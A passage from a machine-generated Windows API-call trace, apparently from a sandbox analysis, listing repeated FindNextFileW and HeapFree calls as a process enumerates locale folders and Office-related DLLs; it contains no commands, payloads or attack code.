lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1 [0106.312] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.312] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0106.312] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.312] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1 [0106.312] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.312] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1 [0106.313] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.313] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0106.313] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.313] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1 [0106.313] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0106.313] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0 [0106.313] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0106.314] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0106.316] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0106.620] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0106.621] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0106.624] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.625] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0106.628] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.628] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0106.632] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.632] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0106.635] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.635] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0106.639] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.639] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0106.642] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.642] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0106.645] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.645] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0106.649] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.649] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0106.652] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.652] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0106.655] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.655] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0106.659] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.659] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0107.195] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.195] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0107.199] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.199] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0107.199] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0107.200] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.200] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0107.200] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.200] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0107.203] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.203] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1 [0107.206] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.206] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0 [0107.206] FindClose (in: hFindFile=0x4260110 | out: hFindFile=0x4260110) returned 1 [0107.206] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.206] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0107.209] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.209] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0107.212] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.212] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0107.215] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.215] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0107.215] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.216] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0107.217] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.217] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0107.217] FindClose (in: hFindFile=0x4260110 | out: hFindFile=0x4260110) returned 1 [0107.217] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.217] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0107.217] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0107.217] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.220] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0107.230] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0107.230] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0107.230] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0107.230] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0107.230] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0107.470] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0107.470] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0107.473] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0107.473] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1 [0107.473] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0107.474] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", 